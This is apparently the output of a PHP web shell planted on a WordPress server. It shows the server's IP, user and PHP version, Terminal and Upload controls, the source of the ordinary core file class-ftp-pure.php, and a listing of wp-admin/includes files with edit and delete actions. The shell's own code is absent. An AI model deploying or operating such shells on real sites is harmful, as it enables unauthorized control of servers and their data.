7.4.33 | Linux x86_64
Server128.199.10.0
Userwww-data (uid:33)
PHP7.4.33 (apache2handler)
Terminal
Upload
Files: /var/www/html/wp-admin/includes
View: class-ftp-pure.php
<?php /** * PemFTP - An Ftp implementation in pure PHP * * @package PemFTP * @since 2.5.0 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html * @license LGPL https://opensource.org/licenses/lgpl-license.html */ /** * FTP implementation using fsockopen to connect. * * @package PemFTP * @subpackage Pure * @since 2.5.0 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html * @license LGPL https://opensource.org/licenses/lgpl-license.html */ class ftp_pure extends ftp_base { function __construct($verb=FALSE, $le=FALSE) { parent::__construct(false, $verb, $le); } // <!-- --------------------------------------------------------------------------------------- --> // <!-- Private functions --> // <!-- --------------------------------------------------------------------------------------- --> function _settimeout($sock) { if(!@stream_set_timeout($sock, $this->_timeout)) { $this->PushError('_settimeout','socket set send timeout'); $this->_quit(); return FALSE; } return TRUE; } function _connect($host, $port) { $this->SendMSG("Creating socket"); $sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout); if (!$sock) { $this->PushError('_connect','socket connect failed', $errstr." (".$errno.")"); return FALSE; } $this->_connected=true; return $sock; } function _readmsg($fnction="_readmsg"){ if(!$this->_connected) { $this->PushError($fnction, 'Connect first'); return FALSE; } $result=true; $this->_message=""; $this->_code=0; $go=true; do { $tmp=@fgets($this->_ftp_control_sock, 512); if($tmp===false) { $go=$result=false; $this->PushError($fnction,'Read failed'); } else { $this->_message.=$tmp; if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false; } } while($go); if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF; $this->_code=(int)$regs[1]; return $result; } function _exec($cmd, $fnction="_exec") { if(!$this->_ready) { $this->PushError($fnction,'Connect first'); return FALSE; } if($this->LocalEcho) echo "PUT > ",$cmd,CRLF; $status=@fputs($this->_ftp_control_sock, $cmd.CRLF); if($status===false) { $this->PushError($fnction,'socket write failed'); return FALSE; } $this->_lastaction=time(); if(!$this->_readmsg($fnction)) return FALSE; return TRUE; } function _data_prepare($mode=FTP_ASCII) { if(!$this->_settype($mode)) return FALSE; if($this->_passive) { if(!$this->_exec("PASV", "pasv")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message)); $this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3]; $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]); $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); $this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout); if(!$this->_ftp_data_sock) { $this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")"); $this->_data_close(); return FALSE; } else $this->_ftp_data_sock; } else { $this->SendMSG("Only passive connections available!"); return FALSE; } return TRUE; } function _data_read($mode=FTP_ASCII, $fp=NULL) { if(is_resource($fp)) $out=0; else $out=""; if(!$this->_passive) { $this->SendMSG("Only passive connections available!"); return FALSE; } while (!feof($this->_ftp_data_sock)) { $block=fread($this->_ftp_data_sock, $this->_ftp_buff_size); if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block); if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block)); else $out.=$block; } return $out; } function _data_write($mode=FTP_ASCII, $fp=NULL) { if(is_resource($fp)) $out=0; else $out=""; if(!$this->_passive) { $this->SendMSG("Only passive connections available!"); return FALSE; } if(is_resource($fp)) { while(!feof($fp)) { $block=fread($fp, $this->_ftp_buff_size); if(!$this->_data_write_block($mode, $block)) return false; } } elseif(!$this->_data_write_block($mode, $fp)) return false; return TRUE; } function _data_write_block($mode, $block) { if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block); do { if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) { $this->PushError("_data_write","Can't write to socket"); return FALSE; } $block=substr($block, $t); } while(!empty($block)); return true; } function _data_close() { @fclose($this->_ftp_data_sock); $this->SendMSG("Disconnected data from remote host"); return TRUE; } function _quit($force=FALSE) { if($this->_connected or $force) { @fclose($this->_ftp_control_sock); $this->_connected=false; $this->SendMSG("Socket closed"); } } } ?>
NameSizeActions
admin-filters.php7.8KView Edit Del
admin.php3.5KView Edit Del
ajax-actions.php149.2KView Edit Del
bookmark.php11.4KView Edit Del
class-automatic-upgrader-skin.php3.6KView Edit Del
class-bulk-plugin-upgrader-skin.php2.5KView Edit Del
class-bulk-theme-upgrader-skin.php2.6KView Edit Del
class-bulk-upgrader-skin.php6.5KView Edit Del
class-core-upgrader.php14.8KView Edit Del
class-custom-background.php21.2KView Edit Del
class-custom-image-header.php48KView Edit Del
class-file-upload-upgrader.php4.1KView Edit Del
class-ftp-pure.php5.3KView Edit Del
class-ftp-sockets.php8.3KView Edit Del
class-ftp.php26.7KView Edit Del
class-language-pack-upgrader-skin.php2.8KView Edit Del
class-language-pack-upgrader.php15.2KView Edit Del
class-pclzip.php192.1KView Edit Del
class-plugin-installer-skin.php11.7KView Edit Del
class-plugin-upgrader-skin.php3.2KView Edit Del
class-plugin-upgrader.php22.7KView Edit Del
class-theme-installer-skin.php12.7KView Edit Del
class-theme-upgrader-skin.php4.1KView Edit Del
class-theme-upgrader.php26.2KView Edit Del
class-walker-category-checklist.php5KView Edit Del
class-walker-nav-menu-checklist.php5.6KView Edit Del
class-walker-nav-menu-edit.php14KView Edit Del
class-wp-ajax-upgrader-skin.php4.1KView Edit Del
class-wp-application-passwords-list-table.php6.8KView Edit Del
class-wp-automatic-updater.php60.5KView Edit Del
class-wp-comments-list-table.php33.8KView Edit Del
class-wp-community-events.php18.2KView Edit Del
class-wp-debug-data.php70.3KView Edit Del
class-wp-filesystem-base.php23.8KView Edit Del
class-wp-filesystem-direct.php18.2KView Edit Del
class-wp-filesystem-ftpext.php22.7KView Edit Del
class-wp-filesystem-ftpsockets.php18.1KView Edit Del
class-wp-filesystem-ssh2.php22.8KView Edit Del
class-wp-importer.php7.6KView Edit Del
class-wp-internal-pointers.php4.5KView Edit Del
class-wp-links-list-table.php9.3KView Edit Del
class-wp-list-table-compat.php1.5KView Edit Del
class-wp-list-table.php51.8KView Edit Del
class-wp-media-list-table.php26.4KView Edit Del
class-wp-ms-sites-list-table.php22.2KView Edit Del
class-wp-ms-themes-list-table.php29.5KView Edit Del
class-wp-ms-users-list-table.php15.3KView Edit Del
class-wp-plugin-install-list-table.php24.4KView Edit Del
class-wp-plugins-list-table.php56.7KView Edit Del
class-wp-post-comments-list-table.php1.4KView Edit Del
class-wp-posts-list-table.php63.5KView Edit Del
class-wp-privacy-data-export-requests-list-table.php5.4KView Edit Del
class-wp-privacy-data-removal-requests-list-table.php5.6KView Edit Del
class-wp-privacy-policy-content.php31.9KView Edit Del
class-wp-privacy-requests-table.php14.4KView Edit Del
class-wp-screen.php36.6KView Edit Del
class-wp-site-health-auto-updates.php14KView Edit Del
class-wp-site-health.php128.2KView Edit Del
class-wp-site-icon.php6.3KView Edit Del
class-wp-terms-list-table.php20.6KView Edit Del
class-wp-theme-install-list-table.php15.3KView Edit Del
class-wp-themes-list-table.php10.1KView Edit Del
class-wp-upgrader-skin.php6.9KView Edit Del
class-wp-upgrader-skins.php1.4KView Edit Del
class-wp-upgrader.php47.2KView Edit Del
class-wp-users-list-table.php18.6KView Edit Del
comment.php6.1KView Edit Del
continents-cities.php20.1KView Edit Del
credits.php5.7KView Edit Del
dashboard.php68.7KView Edit Del
deprecated.php40.8KView Edit Del
edit-tag-messages.php1.4KView Edit Del
export.php25.4KView Edit Del
file.php95.6KView Edit Del
image-edit.php43KView Edit Del
image.php44.1KView Edit Del
import.php6.5KView Edit Del
list-table.php3.7KView Edit Del
media.php117.1KView Edit Del
menu.php9.4KView Edit Del
meta-boxes.php65.3KView Edit Del
misc.php45.4KView Edit Del
ms-admin-filters.php1.3KView Edit Del
ms-deprecated.php3.7KView Edit Del
ms.php33.4KView Edit Del
nav-menu.php48KView Edit Del
network.php26.4KView Edit Del
noop.php1.1KView Edit Del
options.php4.1KView Edit Del
plugin-install.php38.1KView Edit Del
plugin.php91.1KView Edit Del
post.php80.3KView Edit Del
privacy-tools.php32.7KView Edit Del
revision.php16.2KView Edit Del
schema.php44.5KView Edit Del
screen.php6.2KView Edit Del
taxonomy.php8.3KView Edit Del
template.php97.3KView Edit Del
theme-install.php6.8KView Edit Del
theme.php46.4KView Edit Del
translation-install.php10.8KView Edit Del
update-core.php71.1KView Edit Del
update.php34KView Edit Del
upgrade.php114KView Edit Del
user.php23.4KView Edit Del
widgets.php10.3KView Edit Del